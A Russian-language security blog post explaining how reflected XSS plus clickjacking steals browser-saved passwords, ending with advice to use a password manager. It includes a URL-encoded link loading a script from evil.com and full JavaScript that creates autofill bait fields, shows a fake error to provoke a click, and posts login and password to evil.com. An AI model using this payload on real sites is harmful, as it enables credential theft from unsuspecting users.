В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом хакеры могут похитить сохраненные в браузере пароли.
Всем салют, дорогие друзья!
В этой статье я расскажу о том, как с помощью XSS-атаки в сочетании с ClickJacking’ом хакеры могут похитить сохраненные в браузере пароли.
К слову, XSS ― это одна из самых популярных веб-уязвимостей. Строго говоря, это атака, а не уязвимость, но условимся, что иногда под XSS мы будем подразумевать уязвимость, которая позволяет проводить XSS-атаку.
Согласно википедии, XSS (англ. Cross-Site Scripting) ― это «тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействия этого кода с веб-сервером злоумышленника».
Суть атаки
Чтобы атаковать пользователя сайта, его нужно вынудить перейти по специально сформированной ссылке (о методах социальной инженерии я уже писал на канале, скоро будут новые посты на эту тему). Атака, для которой нужна спец ссылка, называется ReflectedXSS. Есть ещё StoredXSS, в случае которой вредоносный код сохраняется на странице, поэтому жертву даже не надо вынуждать перейти по ссылке, а нужно просто дождаться пока кто-нибудь откроет зараженную страницу.
Допустим, в результате социальной инженерии пользователь перешел по такой ссылке:
https://www.reg.ru/vulnerable_page?vulnerable_param=%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%61%2e%6a%73%3eНа первый взгляд она не вызывает особых подозрений: длинновата, но домен-то правильный и открывается оригинальный сайт, из-за чего может показаться, что бояться нечего (спойлер: тем, кто не хранит пароли в браузере, атака действительно не страшна). Но при переходе по ссылке срабатывает вредоносный код, который закодирован в URL. Скрипт крадет сохраненную в браузере связку логин/пароль от личного кабинета REG.RU жертвы.
Вот как это выглядит глазами пользователя, который перешел по ссылке — на странице появляется уведомление об ошибке (специально показываем какое-нибудь стандартное сообщение, чтобы не вызвать подозрений):
При клике по кнопке OK откроется главная страница сайта. В общем-то и всё. Странно, но не подозрительно. Понять, что в это время хакер уже получил сохраненный в браузере пароль, практически невозможно.
А теперь разберемся, как эта атака вообще работает...
Технические подробности
Давайте посмотрим, что спрятано в ссылке. Для этого декодируем ее:
При переходе по ссылке загружается и выполняется JavaScript:
var p = document.createElement("input");
p.setAttribute("type", "password");
p.setAttribute("name", "password");var l = document.createElement("input");
l.setAttribute("type", "text");
l.setAttribute("name", "login");var f = document.createElement("form");
f.setAttribute("method", "post");
f.setAttribute("action", "https://evil.com/");
f.appendChild(l);
f.appendChild(p);document.body.appendChild(f)function clck() {setTimeout(()=>{f.submit()}, 1000)}document.body.setAttribute('onclick', 'clck()');setTimeout(()=>{alert('Ошибка отправки CSRF-токена')},2000)Этот код создает на странице форму и поля с названиями, совпадающими с формой авторизации, чтобы браузер знал, куда подставить сохраненный пароль. Форма добавляется в са-а-амом низу:
Чтобы браузер (в эксперименте использовался Chrome) подставил пароль, нужно взаимодействие пользователя со страницей. Сымитировать нажатие с помощью JS не получится, нужен настоящий клик. Для этого провоцируем жертву на инстинктивное нажатие на кнопку OK в сообщении об ошибке. В том, чтобы вынудить пользователя кликнуть в определенное место и есть суть атаки под названием ClickJacking. Чтобы все успело прогрузиться и отработать, указываем необходимые таймауты. Вешаем обработчик onclick на body.
После первого клика пароль отправляется на сайт хакера, где остается только его записать, а клиенту вернуть редирект на главную страницу.
Так как же обычному пользователю защититься от конкретно этой атаки?
Ответ прост: не нужно хранить пароли в браузере. Своим коллегам я рекомендую использовать менеджеры паролей, например KeePass или KeePassXC.
Выводы
Данная атака наглядно демонстрирует, как могут быть опасны XSS-атаки в сочетании с социальной инженерией. Варианты использования подобных уязвимостей ограничиваются только возможностями javascript и фантазией хакера.
✅ Расширение KeePassXC снижает вероятность успешности атаки, но полностью не исключает. В любом случае, это значительно безопаснее, чем хранить пароли в браузере.